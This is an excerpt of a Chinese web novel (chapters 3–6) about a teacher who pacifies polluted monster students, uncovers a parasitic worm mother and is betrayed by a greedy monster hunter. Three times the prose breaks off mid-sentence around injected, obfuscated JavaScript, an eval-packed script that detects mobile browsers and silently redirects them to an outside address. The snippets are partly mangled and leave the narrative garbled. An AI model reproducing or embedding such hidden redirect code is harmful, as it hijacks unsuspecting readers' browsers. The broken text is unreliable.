《怪物入侵后我桃李满天下了》 3. 老师再见 熟悉的教室，熟悉的讲台。 凌玖侧身站定，捏着粉笔头在黑板上点了点，看向台下整整齐齐如同复制黏贴一般的脸：“认真听，我只讲一遍。” 张琦站在一旁凝神释放天赋[恐怖暗示]，他从来没有同时面对过这么多污染物，汗水已经将头发打湿，可台下那些复制粘贴一般的脸仍然面无表情，好像根本没有感受到张琦的攻击。 他只能冲着凌玖骂骂咧咧试图挽尊：“一个野人装什么逼？以为是过家家cosplay吗？也不看看下面坐的是什么人！他们可是污染物！” “你最好还是抱紧我们的大腿……” “安静。”凌玖凌厉的视线扫过去，严肃的好像即将发威的班主任。 张琦后背没来由的僵了一下。 ……等等，他在怕什么？明明他才是[恐怖暗示]的进化者吧？ 凌玖并没有觉得台下这些空洞的脸会对她造成什么冲击。 比起她这几十年来的往届毕业生们……这种等级的精神污染根本算不了什么。 甚至于在对上他们无知的眼神后，凌玖竟然来了精神。 这道三角函数简直是基础中的基础，这种题目竟然能堂而皇之地被抄写在重点班高三一班的黑板上？ 感觉有些侮辱她金牌教师的身份。 不过凌玖还是耐心地一边写出解题步骤，一边掰开了、揉碎了喂进这些呆滞的学生嘴里。 她从容不迫地讲完，然后面无表情地扫视了一圈台下的学生们，习惯性地试图在他们之中找出没认真听的、理解能力差的漏网之鱼。 不过他们表情始终没什么变化。 凌玖作罢，一段针落可闻的沉默之后，把粉笔头精准的甩进粉笔盒中：“这是一道送分题。” 咔哒。 下一瞬，教室门锁打开了。 教室里满满当当的学生们又站了起来，再次面无表情地冲讲台鞠躬—— “老——师——再——见——” 污染浓度开始下降了。 朱冕目瞪口呆，顿时对凌玖露出崇拜的目光：“你是老师吗？讲的真好！这些弱智污染物居然都听懂了！” 然后转头问张琦：“哥你听懂了吗？” 听天书一般的张琦：…… 不想承认自己比污染物还弱智，张琦恶狠狠地对凌玖道：“别以为你瞎猫碰上死耗子就了不起了，污染物没那么简单，不可能听你讲了一道题就对你言听计从，想安全离开还是老老实实地跟紧我们！” 张琦在基地猎人圈子也算是小有名气，毕竟B级天赋的进化者大多都是一些力量速度类的加成，[恐怖暗示]相当稀有，更何况他已经出过十多次C级和D级任务了，之前还参与过一次A级，在朱冕这种第一次出任务的小白面前，他是妥妥的大哥。 可经验十足的他竟然在一个评级仅为D的任务中被一个野人落了面子，这让他很不爽。 凌玖没搭理他，走下讲台去扶已经倒地昏迷的乔依。 朱冕也凑过来用仪器在乔依身上扫了扫：“78%……还好还好，还没有到临界值。” 然后从乔依身后的背包里取出一支抑制剂，撩开她的手腕扎了上去。 污染值开始迅速回落，但还是维持在了40%左右。 朱冕对凌玖道：“应该快醒了，不过得等回基地去净化室才能把污染值彻底降下来，她不能再受到任何污染了。” “要不一会儿你先把她送到学校门口，外面安全一点。” “别管她了！”张琦暴怒的声音突然从身后传来，他踹了朱冕一脚，冷声道，“外面有动静！” 踢踏，踢踏。 走廊尽头传来缓慢的脚步声。 像是在用脚尖磨蹭着地板走路。 那声音与凌玖鞋跟发出的“班主任音”不一样，带着一股渗人的穿透力，仿佛他走过的每一寸土地都会被污染成不可名状的颜色。 朱冕看了看安静如鸡的克隆学生们，又望向走廊，立刻做出判断—— 还是教室里更安全一点。 于是朱冕迅速把打开的教室门扣上。 张琦：“……你个蠢货关门干什么？！” 朱冕大叫：“外面那只明显更危险啊！” 脚步声越来越近了，甚至透过染着血色脏污的玻璃窗已经能看到那个缓慢靠近的人形生物。 看她的穿着打扮，应该是个女学生。 杂乱黏腻的长发披散，几乎遮挡住了她的整张脸，她没有脚，裙摆下是密密麻麻聚拢的蠕虫，蠕动的每一步都会有虫子掉在地上。 原来那根本不是脚步声，而是虫子掉在地上发出的声音。 “冷静点。”张琦对二人道，“其实我们完全可以跑掉的，外面那个污染物离我们还有一段距离。” 朱冕紧张地说：“不收集孢子了吗？真跑？” 张琦：“这么多污染物，就我们两个，怎么可能打得过！” 他推开朱冕，吱呀一声把教室门打开，扭头看向凌玖：“还是你走前面。” 凌玖挑了挑唇，凌厉的双眸仿佛要洞穿他：“你确定？” 张琦眼神闪躲：“废什么话！” 凌玖率先走出了教室。 然而身后的人并没有跟过来，而是在她踏出门的一刹那，砰的一声。 大门紧锁。 门里传来朱冕的惊叫 ：“哥你怎么把门锁了，我们不出去吗？” “蠢货！出去个屁！”张琦冷声道，“你没发现她不正常吗？” “乔依都倒那儿了，就连咱俩污染值都快爆了，她的污染度还是0！她根本不是正常人！而且她出现的时机也很奇怪，说不定她才是那个污染源！” 朱冕总觉得凌玖不像坏人，但又好像无法反驳，只能听从张琦的安排顶住门。 其实凌玖早就猜到了张琦的目的。 这个世界上总有一些人会以地域、学历、性别、以及一些无厘头的认同感而排除异己，双方势均力敌时那叫地域歧视、男女对立，但被歧视的那一方人少时……就会像凌玖这样。 因为不会和他们一样被污染影响的头昏眼花，就被张琦扔出去了。 只是…… 凌玖透过窗子看向教室最角落的位置。 他们可能没注意到，但身为老师的凌玖从站在讲台上那一刻起，就会条件反射地观察教室的每一个角落。 所以她发现了，在教室最角落有一张空着的桌椅。 不出意外的话……凌玖看了眼正在缓缓朝这边靠近的长发女孩。 她应该也是“高三一班”的一员。 女孩拖沓着蠕虫，越靠越近。 虫子散落一地，还在崎岖的扭动着，女孩湿黏的长发就像被谁泼了一桶脏水似的，身上的校服也黏黏糊糊的，整个人以一种十分阴郁地状态前进着。 然后停在了教室门口。 她好像根本没有注意到身后的凌玖，抬手转动着门把手。 门被张琦和朱冕抵着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105265|163843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她根本打不开。 但她并不气馁，一直执着地推门，脚下的蠕虫也扑簌簌掉落，顺着门缝和锁孔钻进去。 门那头传来朱冕的尖叫声：“哇啊啊啊啊虫子！怎么这么多！恶心死了——” 听声音朱冕应该正在鸡飞狗跳地拍打着靠近的虫子，张琦一个人根本顶不住，门被女孩推开了。 腥臭湿黏的头发还在滴落着臭水，长发挡住了她苍白的脸，黑黢黢的瞳孔透过发丝的缝隙与张琦对视着，张琦吓得后退了一步。 如此近距离的观察，才发现她的整个身体都是由蠕虫构成的。 更准确来说，她像是被某种恶心的蠕虫进行了异种，脸颊、手臂所有裸露在外的青白皮肤下，都可以看到虫子翻滚蠕动的痕迹，仿佛只要稍一用力，那些虫子就会冲破皮肤的屏障喷涌而出。 张琦san值都要掉光了，连连后退了几步，才想起来动用天赋。 [恐惧暗示]的力量不会对被攻击者造成实质性的伤害，但只要对方是有思维的生物，那种发自内心的恐惧就会油然而生，让她颤抖、惶恐、失去战斗力。 女孩的身体果然僵了一下。 身上的虫子也开始惊惧的扭曲，掉落下来的更多，她的皮肤也因为虫子的躁动而变得鼓胀。 但她仍然低垂着头，好像没有看到正在攻击她的张琦似的，卑微而执着地向教室后方的空位靠近。 “哥！快停下来！”朱冕的警报器发出尖锐的滴滴声，“污染值又升高了！” “[恐惧暗示]对她不顶用，好像还会激怒她！” 与此同时，教室中原本面无表情呆坐着的学生们突然收到蛊惑一般，一齐大喊：“杀了他！杀了他！杀了他——” 走在桌椅走道之间的女孩浑身颤抖。 越来越多的虫子从她身上跌落，狂躁不安。 那一张张如同复制粘贴一般的脸面向讲台，桀桀狞笑着，呆滞空洞的眼睛锁定张琦，像是在对那女孩下命令，又像是在诅咒—— “杀了他！虫子！杀了他！虫子——” 跌落的蠕虫越来越多，在女孩脚下汇聚成一滩。 她向座位挪动的步子也变慢了，仿佛只要一声令下，就会化成汹涌的虫浪，朝台上二人扑来。 嘀嘀嘀——嘀—— 警报器声嘶力竭的鸣叫，教室内爆表的污染值让其不堪重负，发出被拉长的锐鸣—— 朱冕双目赤红，神志已经有些混沌了：“哥……哥我们要不……跑……” 张琦头晕目眩，他停止了天赋攻击，从怀里掏出了枪。 “得杀了她。” “从她进入教室开始，污染值就爆了，这些学生是可控的，她不是，她跟他们不一样……” “所以必须杀了她……” 张琦举起枪，瞄准了女孩的后脑勺。 女孩的行动速度虽然缓慢，却依然在努力朝她的座位靠近着。 就在他即将扣动扳机的瞬间，教室门口突然传来一道清冷严肃的声音：“慢着！” 低跟皮鞋踩在地板上，发出令人安定的笃笃声。 吱呀。 凌玖推开了教室门。 她双手环胸站在门口，凌厉的视线在教室里扫视了一圈，并没有看向张琦和朱冕，而是冷声训斥：“整栋楼就你们班最吵！” 霎时间鸦雀无声。 学生们缄默无言，污染值骤然回落，就连那些从女孩身上掉落的虫子们……都探头探脑地缩了回去。 4.虫母 凌玖身上似乎有一种神奇的魔力。 一种任谁都不敢在她面前造次的魔力。 朱冕看着轻轻松松用一个眼神杀退污染物的凌玖，崇拜之情溢于言表：“我靠你好牛逼！他们都怕你！” 张琦总算反应过来，他回头看了眼身后写满解题过程的黑板：“所以……是因为你解了那道题？” 污染物与人类最大的区别就是，他们失去了人类的理智，但却还困在生前最无法解脱的执拗中，以一种刻板的姿态诡异的生活着。 他们会保留一些曾经的生活习惯，而这些习惯往往就是寻找污染源的引线。 张琦曾经经历的C级和D级任务都比较简单，通常面对的是单个污染物，污染物本身就是污染源，不用动脑子，直接干就完了。 除了浑水摸鱼的那个A级任务。 当时他们在一个地下煤矿中遇到了一群矿工污染物，一群人杀了三天三夜才意识到污染源在拖欠工资的工头身上。 而工头根本不在矿里。 张琦没出过B级任务，但眼下他可以判断，这个被误评为D级的任务实际水平远在B级以上，甚至与当初的矿工A级任务不相上下。 学校里的学生对老师存在天然的畏惧情绪，但污染让他们迷失了，他们不知道老师是谁。 所以谁能讲出那道题，谁就是他们的老师。 台下那一张张诡异的脸上只写着三个大字—— 已老实。 张琦顿时信心满满，举起枪再次瞄准已经走到座位旁边的女孩。 凌玖很疑惑：“你为什么一定要杀她？” 张琦瞥了她一眼，趾高气昂地说：“你还真以为它们会一直乖乖听你的话吗？这可是污染物！” “只有杀掉污染源，取走污染孢子，这里的污染才会停止，那些受到污染源影响的环境也会慢慢恢复。” “很显然，她就是那个污染源……” 凌玖打断他：“你就这么肯定，她是污染源？” 张琦冷哼：“废话！她长成这样，而且她和其他学生都不一样，污染源肯定在她身上……” 凌玖不懂他们判断污染源的标准到底是什么，但到底教了几十年的怪物学生，她见了太多外表丑陋却内心赤诚的孩子。 她没有做任何伤天害理的事情，甚至在路过他们时，都没有表现出半点攻击姿态。 唯独就是长得奇怪了点，和其他学生看起来不太一样。 不同不是罪孽，却能够成为被针对的理由。 张琦的枪口依旧对准角落的女孩，她却一直规规矩矩地坐在座位上，甚至有些卑微地将自己缩成一小团。 因为凌玖的威慑，教室里的其他学生都很安分。 那一双双空洞的瞳孔，正死死盯着张琦的枪口，带着一种诡异的兴奋。 太不对劲了。 凌玖皱了皱眉，走到张琦身旁：“我觉得她不像污染源，你要不……” “你懂个屁！”张琦扬手，飞快地摁下扳机。 激光弹在枪口炸出亮蓝色的火花。 几乎是在同一秒内发生的事情。 台下的学生们面无表情地脸上突然同时龟裂出诡异的笑容，教室内的污染值陡然升高，凌玖却反应极快地朝张琦扑了过去，手肘撞击他的身体—— 弹道偏歪。 砰！ 明蓝色的激光弹还是打中了角落里女孩的手臂。 她青白到几近透明的皮肤破了个大洞，里面流出的不是汩汩的鲜血，而是澎湃激动的虫子。 那一声枪响像是唤醒了它们的身体，虫子们争先恐后地往外爬，女孩的身体都变得有些干瘪了。 但她却仍然低着头，蜷缩着身体，试图用手堵住身体的破溃。 嘀嘀嘀—— 教室内的污染值已经飙升到了空前的地步，朱冕扶着墙半蹲在地上，张琦的枪掉在地上，但他却双目赤红，陡然升高的污染浓度让他出现了暂时性的认知障碍，眼睛死死盯着那女孩，口中喃喃：“杀了她！虫子！杀了她！虫子！” 杀了……她？ 所以从一开始，那些学生们就不是在命令那个女孩，而是在一遍一遍的精神污染张琦，在误导他开出这一枪。 他们喊的是“杀了她！虫子”，张琦却误以为这些学生在指使命令女孩对自己下杀手。 张琦仍然在重复着这句话，只是他的眼神开始渐渐涣散，瞳孔失焦，茫然地望着前方。 他机械式的抬起手，摘掉了脸上的防护面具。 青白的脸上没有一丝血色，他的五官开始变得模糊不清，然后在一片混沌中重新排列组合。 变得痴愣、面无表情，变得和台下的所有学生一样。 张琦的脸变成了复制粘贴的脸。 “哥！张琦！”朱冕眼中布满了红血丝，焦急地冲过去想要唤醒被污染侵蚀的张琦。 一条蠕虫飞快地从张琦的袖口爬出，顺着朱冕的手臂向上缠绕。 凌玖顺手把讲台上的板擦甩了过去，砸在对方手肘。 朱冕这才发现了那条虫子，连忙用手摘下，扔在地上踩死。 讲台下似乎有人动了。 凌玖迅速扭过头。 身为老师，她早就养成了时刻注意台下学生们举动的职业习惯，所以只是余光一撇，她也已经发现了异常。 可现在…… 那些一模一样的诡异脸庞仍然岿然不动，面无表情到整齐划一，仿佛一切都只是凌玖的错觉。 但凌玖坚信自己没有看错。 有人动了。 是在……朱冕踩死虫子的时候？ 朱冕还沉浸在惊恐又不知所措的情绪里，凌玖连忙将他从张琦身旁拉开：“别碰他！” 她紧紧盯着朱冕的眼睛，锐利的双眸清醒而镇定：“冷静一点，他被污染了，你没办法叫醒他。” “对于被污染的人，有什么补救办法？” 朱冕恍惚的神志被拉了回来：“……抑制剂！抑制剂能控制被污染程度，但他现在的情况，我也不知道还有没有用……” 凌玖：“死马当作活马医，快去拿药。” 所幸乔依之前已经被朱冕安顿在教室外面的走廊边，教室外面的污染浓度并不高，朱冕急匆匆地从乔依背包里掏出抑制剂，又手忙脚乱地跑进来。 教室门口还有一些散落的蠕虫，在朱冕慌乱之际想要趁机顺着他的裤缝爬上去。 凌玖连忙提醒他：“小心虫子！” 朱冕一阵乱拍，又啪叽踩死了几条。 又动了。 凌玖紧紧注视着台下。 台下的学生们坐的整整齐齐，甚至连发丝都是一模一样的弧度。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115155|163843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >除了最中间这一列。 整齐排列组合的最后一位，在朱冕踩死虫子的瞬间，身形微微偏移了一寸，但只是一瞬，很快又恢复原样。 和其他所有人一样，空洞地与凌玖对视着。 朱冕已经给张琦注射了抑制剂，但对方的脸仍然没什么变化，呆滞地站在讲台上。 哒、哒、哒。 凌玖的低跟皮鞋与地板接触发出清澈的脆响，她来到讲台前，拾起一旁的教棍在黑板上点了点，然后厉声道：“上课。” 粘稠的空气似在翻滚，澎湃的污染值在一番挣扎之后，缓缓回落。 凌玖深吸一口气。 看来赌对了。 不论这些污染物是什么，刻进身体里的行为习惯不会改变。 朱冕在一旁不安地看着她。 凌玖淡定踱步过去，低声道：“我需要你的帮助，一会儿跟紧我。” 然后不等朱冕反应，就转身走下讲台，表情严肃冷冽：“没有人应该因为样貌与其他人不同，而被区别对待。” 角落的女孩仍然艰难地捂着手臂上的伤口，瑟瑟抖着。 凌玖在教室中穿行，停留在中间那列最后一排的位置上。 “在我的班里，决不允许任何霸凌存在。” 有虫子爬了过来，试图攀上凌玖的脚踝。 她抬脚，踩爆。 眼前的身影抖动了一下。 凌玖勾起唇，冲身后的朱冕使了个眼色。 她只是平静地站在那里，低头垂视着眼前的身影：“但我好像错了。” “她不仅仅是被霸凌者，还是一个英雄。” “杀了她！虫子！”凌玖重复了一遍这句话，轻笑，“原来这句话不是对张琦说的，而是对虫子说的。” 那个看起来与其他人没什么不同的身影再次晃动。 教室内的污染值陡然上升，霎时间，教室里所有人都回过头来，一模一样的空洞面庞，阴森的、黏湿的盯着凌玖的脸。 凌玖后退一步，厉声命令朱冕：“把他的头拧下来！” 朱冕动作极快力大如牛，在他扭头的瞬间迅速掐住了他的脖子。 然而转过来的那张脸还是吓了朱冕一跳，一只巨大的、碗口粗细的虫子像是褪掉了一层人皮一般，从他口中嘶鸣着爬出。 咔嚓。 脖子在朱冕手中断裂，巨虫激动跃出，密密麻麻的口器只要一秒，就可以吞下朱冕的头颅。 原本在座位上的其他学生也尖叫着扑来，包括讲台上的张琦。 如同受到了某种召唤，漆黑空洞的瞳孔中只剩暴怒和蚕食。 朱冕甚至来不及尖叫。 砰—— 一道明蓝色的火光在他面前炸开，子弹正好射进巨虫口中，已经褪掉人皮的恶心蠕动的身体在蓝光中化为灰烬。 朱冕震惊地回过头。 只见凌玖双手握枪，眼中流露出的杀气哪还有半点人民教师的模样。 不过只是一瞬间，凌玖已经收起了枪，恢复了慵懒冷然的神色，就像刚刚检查完优等生作业的班主任，有种胸有成竹的平静。 “这只是虫母。” 朱冕震惊的回头去看，刚刚还张牙舞爪朝他们扑来的其他学生此时纷纷倒在地上，张琦也倒了下去。 一条细小的蠕虫顺着他的鼻孔爬了出来。 5.污染源 虫子从张琦的鼻孔中爬出来没多久，就蔫哒哒的不再蠕动了。 张琦的脸也在瞬间恢复了原样，只是脸色有些青白。 他奄奄一息地睁开眼，哑声问：“发生了……什么？” 朱冕也还在震惊中，一头雾水摸不清状况，扶着张琦结结巴巴：“就……虫子，一大只虫子死了，然后你们身体里的虫子都爬了出来……” 张琦比朱冕要聪明的多：“是……寄生？” 寄生是污染的一种。 基地研究所目前将污染分为三个大类：传染、寄生和异变。 往往寄生属性的污染物并不会释放出太多拥有传染性质的气息，也就是说，这个教室里不该有这么高的污染浓度。 但应该是被寄生的污染物太多了，量变产生质变，不断繁殖的虫子集合起来，污染值甚至比某些传染型污染物还要高。 那些与虫母长着同一张脸的学生们也和张琦一样，或鼻中，或口中，都有虫子爬出来。 只是那些虫子寄生的太久了，已经耗干了他们身体所有的养分，在虫子爬出的瞬间，他们的身体与虫母一样，变成干瘪的一张皮。 张琦看到他们的样子，不由得冷汗涔涔。 如果时间再久一点……他是不是也会被虫子吸干，变成一张人皮？ 只是…… 张琦在朱冕的搀扶下站了起来，望向虫母的方向：“孢子呢？” 朱冕是新手，第一次出任务，也就在宣传教学片上学过那么一点点，这次任务的复杂程度远远超出了他的想象，他根本不知道孢子会在什么地方。 张琦踉踉跄跄地朝虫母尸体的方向跑去，将那散落的人皮里里外外翻了好几遍，并没有发现孢子的踪迹。 这可是A级任务的难度！ A级孢子至少价值一百万，最重要的是……如果他单独拿回A级孢子，以后就不用和朱冕这种新手废物组队了，他可以加入更高级的猎人组织，攻克更高级别的污染物。 张琦眯着眼看向凌玖：“是不是你拿走了孢子？” 凌玖根本不知道孢子长什么样：“虫母死的时候身上没什么别的东西。” “不可能，这不可能……除非……” 张琦倏地抬起头，望向仍然蜷缩在教室角落的女孩。 她的皮肤仍然是青白的颜色，但蠕动的虫子们好像消失了，只是她仍然看起来很虚弱，湿黏的长发几乎盖住了整个身体，呆滞地坐在座位上。 “是她？”张琦捡起枪，瞄准女孩的头颅，“我早就说了，肯定是她——” 砰！ 这一次枪声还是响在了凌玖的动作前。 子弹裹挟着湛蓝的火花，没入了女孩青白的皮肤中。 这一次，伤口处流出的是鲜红的血液。 一朵明黄色的玉米粒大小的结晶顺着女孩的伤口，与血液一起滚落。 张琦兴奋极了，一地的人皮尸体，女孩的鲜血还在汩汩流淌，他却笑的很大声，手脚并用地爬过来，如获至宝一般捧起那颗明黄色的孢子。 “啊哈哈哈哈！黄色的！果然是A级孢子！发财了！我发财了！” 女孩空洞的漆黑双瞳渐渐失焦，视线却越过张琦，落在了凌玖身上。 那眼神有些委屈，又有些如释重负。 凌玖情不自禁地上前，伸手轻轻抚上了她的脸。 女孩的嘴唇艰难地张了张，喉咙中发出嘶哑不似人声的音色：“凌……你是……凌……” 气息断了。 她……是在叫她的名字吗？ 女孩认识她？ 凌玖不记得自己在哪里见过她。 但眼前这一幕，却让她觉得很悲伤。 她甚至有些分不清，到底谁才是可怖的污染物。 朱冕也震惊地看着女孩流淌一地的鲜血，喃喃地问：“哥……她真的是污染物吗？” 张琦兴冲冲地把孢子放进隔离瓶中，浑身都散发着贪婪的恶欲：“她都有孢子，怎么不是？她不仅仅是污染物，还是污染源！哈哈哈哈这次赚大发啦……” 朱冕神色有些落寞，挠了挠头：“那我们要不要……把他们埋了？” “埋个屁！你闲的没事干了是吧？！”张琦恨铁不成钢地在朱冕后脑勺拍了一下，“你这么爱干这种打扫垃圾的工作，当初我就不应该把你从清理中心捞出来！赚你的三千块窝囊费吧你！” 朱冕揉了下后脑勺，蔫了吧唧地跟在张琦身后。 张琦收起背包，转头看了眼凌玖：“喂，你还算有点本事。要跟着我干吗？” 凌玖默默将女孩的衣襟整理好。 将她的长发梳理在肩膀两侧，闭上眼睛时，她和普通的女学生没什么区别。 “不必了。”凌玖站起身。 “切。”张琦嗤了一声，边走边嘀咕，“嚣张个屁啊。” 朱冕有些不忍地看了眼躺在地上的女孩，小心翼翼地问凌玖：“你为什么说她是个英雄啊？” “她在压制着那些虫子。” “虫子最初的寄生体应该是她，所以她身上才会有孢子。”凌玖道，“但虫子那种东西繁殖力很强，她逐渐控制不住了，虫母脱离了她的身体，想要寄生更多的人。” “作为培养皿的她将所有的虫子都封存在自己的身体里，所以那些虫子才会叫嚣，让她身体里的虫子杀了她。” “她一直在坚持着，才没有像其他人一样，成为被虫子寄生的大多数。” 可这种众人皆醉我独醒的坚持真的能被理解吗？ 朱冕睁大眼睛，有些不可置信：“可……可是她不是失去理智的污染物吗？为什么要这么做？” 看，即便她死了，仍然是不被理解的。 没有人会看到她的付出，只是纳闷同为污染物的她为什么会独醒。 凌玖回想起女孩临死前看向她时那个解脱的眼神。 “可能……她是个例外吧。” 嘀嘀嘀—— 朱冕腰间的报警器又急促地响了起来。 显示屏上的数值正在飞速变红飙升，甚至比刚刚面对一教室的虫子时还要猛烈。 朱冕有些摸不着头脑：“这是怎么回事？报警器坏了吗？” 空气突然变得粘稠起来。 有风带着腥臭的气息而来，卷起了高三一班教室的窗帘。 那股风让朱冕的报警器发出尖锐的嘶鸣，然后呲呲拉拉的冒出火花，彻底黑屏。 浓稠的污染度几乎让人喘不过气来。 朱冕和凌玖刚刚走出教室，就看到不远处的张琦倏地瞪大眼睛，冲着二人大吼：“小心——” 腥臭的风已经熏红了朱冕的眼睛，即便是进化人，他此时的动作已经迟缓到不如正常情况下的普通人了。 他艰难地回过头，双眼都变成了模糊的血色，爆表的污染值让他几乎看不清身后的东西。 只知道那是一滩庞大的、血红的、布满尖锐牙齿的物体。 他用尽全身的精神力与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118306|163843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侵袭而来的污染抗争，拉着身旁的凌玖往张琦身边跑去。 张琦也已经掏出枪，靛蓝色的子弹急速连发射出，明明是一枪可以将虫母爆头的武器，却在面对面前的庞然大物时，毫无招架之力。 以卵击石，甚至连半点火光都看不到。 朱冕在张琦身边站定，这才真正看清楚来的是个什么东西。 像蠕动的巨大肉色花瓣，花瓣上长满了细小尖锐的牙齿，足足有十多瓣这样的“花瓣”共同长在一只萼上，蠕动的花瓣几乎要将宽敞的走廊填满。 仔细看才发现这巨大的花萼竟然长在一只瘦削的人类身体上。 是个穿校服的女孩。 朱冕大叫：“怎么又是女学生！这又是什么虫子啊啊啊啊？！” 张琦一手拽着朱冕，不动声色地向后退。 花瓣以惊人的生长速度迅速向前方蔓延，尖锐的牙齿上还沾着血污，只要一秒，就可以将三人一同吞噬。 张琦立刻拉起朱冕头也不回地向后跑。 花瓣仍在穷追不舍，张琦为了保命，回过头猛地将身后的凌玖向后一推—— 凌玖倒在地上，只一瞬间，就被巨大的血色花瓣们吞噬包裹，再无声息。 朱冕一边跑一边大叫：“哥你干什么！你为什么要推她！” “不推她拖延时间，我们就死了！”吞掉凌玖的巨大花萼果然停在了原地，给了张琦和朱冕逃跑的时机。 “这东西连激光弹都不怕，恐怕是S级的污染物！我不想死！” 朱冕有些不忍地频频回头，直到两人跑出学校，怪物也没有追来。 至于被吞进去的凌玖…… 此时正躺在肉肉软软的花瓣里，花瓣尖锐的牙齿已经变成了柔软的口器，裹着凌玖疯狂贴贴亲亲。 “老师！凌老师啊啊啊啊啊啊——” 花瓣吐出凌玖，瓣体迅速回缩，拼图一般嵌入女孩的脸上，是熟悉的面孔。 她是凌玖被关在学校以来，带的第一届学生，也是凌玖一千名学生中为数不多还保留了人类声带，能说话的。 女孩激动地扑过来，一把搂住凌玖的肩膀呜呜呜：“老师我好想你啊！” 然后神秘兮兮地指着校门口的方向：“那两个蠢货要不要我帮你把他们抓回来吃掉？为了老师我可以不嫌脏的。” “算了。” 凌玖摆摆手，看向面前的学生，几十年没见了，她还是老样子。 “李薇。”凌玖只是叫了她的名字，李薇已经激动地快要摇尾巴了：“啊啊啊凌老师我还以为你忘记我叫什么了呢，好开心~” 凌玖好笑地拍了拍她的头。 李薇上学的时候成绩一般，但性格活泼，是班里的纪律委员，哪个同学不听话她就会让人感受一次花瓣雨。 “好久不见。”凌玖打量着她的穿着，“你怎么会在这里？” 李薇笑眯眯地看着凌玖：“老师，我有任务的。” “我要一直留在学校里，直到……有人来找我。” 凌玖在学校关了几十年，知道这种失去自由的痛苦。 更何况她那会儿还有同学们作陪，李薇却一直是一个人。 最重要的是……她的踪迹已经被人类发现了。 如果下次有更厉害的进化人来怎么办？她岂不是很危险？ 李薇像是猜到了凌玖在想什么。 她只是目光灼灼地看着她，表情虔诚：“凌老师，我在保护一样非常重要的东西。” 6.找工作 凌玖本来想和李薇多寒暄几句，结果却发现原本已经停止的死亡倒计时又开始跳动了。 李薇也提醒她：“凌老师，你得去跟人类们呆在一起，不然你会死的。” 在虫子大战时被朱冕背到走廊外面的乔依这会儿也有苏醒的迹象。 李薇又抱了凌玖一下，笑眯眯地道别：“凌老师，我得藏起来了，不然会被人类发现。” “期待下次和你见面。” 李薇离开没一会儿，乔依就在凌玖怀里醒了过来。 李薇会隐藏自己的污染气息，虫母又已经被干掉，现在学校的空气很干净，凌玖干脆摘掉了乔依的防护面罩，喂她喝了点水。 繁琐的面罩被取下后，凌玖才发现乔依竟然只是个十五六岁的孩子。 她迷迷糊糊地眨了眨眼，污染值应该还没有彻底降下去，整个人看起来混混沌沌的：“我死了吗？这是地狱吗？” 凌玖笑道：“你没死，污染物已经被杀了。” 乔依缓了好一会儿才反应过来现在的情况，看到空荡荡的走廊以及搀扶着她的凌玖，很快就明白过来，自己应该是被那两个人扔下了。 她也不懊恼，好像这样的事情经常发生，拍了拍身上的灰土，在凌玖的搀扶下站了起来：“谢谢你照顾我，还是让我带你回基地吧。” 基地定期会有巡防的巡逻车，正巧今天会有车经过她们所在的城市。 乔依带着凌玖来到巡逻的稍口，大约等了两个多小时，一辆看起来很结实的装甲车从远处扬着灰尘开过来。 乔依从背包里拿出一个信号灯之类的装置，激动地冲着他们招手。 车子很快在她们面前停下，两个全副武装的高大士兵拿着扫描装置走了下来。 他们先扫描了乔依，污染度32%，任务暴露导致污染过高，回去就得进净化所。 然而当扫描仪的射线扫过凌玖的身体时，显示屏赫然弹出绿色数字：【0%】。 士兵诧异地看向凌玖：“0？你叫什么名字？” 凌玖默然片刻：“……凌玖。” 士兵又回头看向乔依：“你们是一起出任务的吗？怎么她是0？” 且不说没有任何天赋的普通人，就连进化人在城外污染暴露的地方走一圈，污染值也会上升两三个点。 只不过低污染人体的免疫系统会自然驱逐，休息一段时间就可以恢复正常，超过20%的污染度才需要净化所协助处理。 可对于凌玖这样一个手无缚鸡之力的普通人，怎么可能在经历过高污染度的任务之后仍然保持0%的纯净体魄？ 凌玖自己也觉得有些意外。 但仔细回想，在打那些虫子的时候，教室里污染浓度时高时低，张琦和朱冕时常会因为高污染变得头脑发晕眼冒血丝，凌玖……最多就是觉得空气味道有点臭而已。 她从未出现过任何被污染影响的迹象。 更不会像同为普通人的乔依一样直接被污染撂倒。 乔依也没想到会出现这种结果。 她始终觉得凌玖身上有一种气质，一种会让人发自内心的信任她的气质。 尽管她不知道当时在教室里到底发生了什么，但冥冥之中还是觉得凌玖是个好人。 于是面不改色的扯谎：“我们队有一个有净化力的进化者，帮我俩都净化了一下，她污染度低，所以直接归零了。” “那你的队友们呢？”士兵问。 乔依苦笑：“他们啊，当然是把我们这两个累赘丢下了啊。” …… 乔依的两个队友——张琦和朱冕当然先他们一步回到了基地。 张琦兴冲冲的拿着A级孢子去猎人总部领奖，一百万的奖金，只分给朱冕一万。 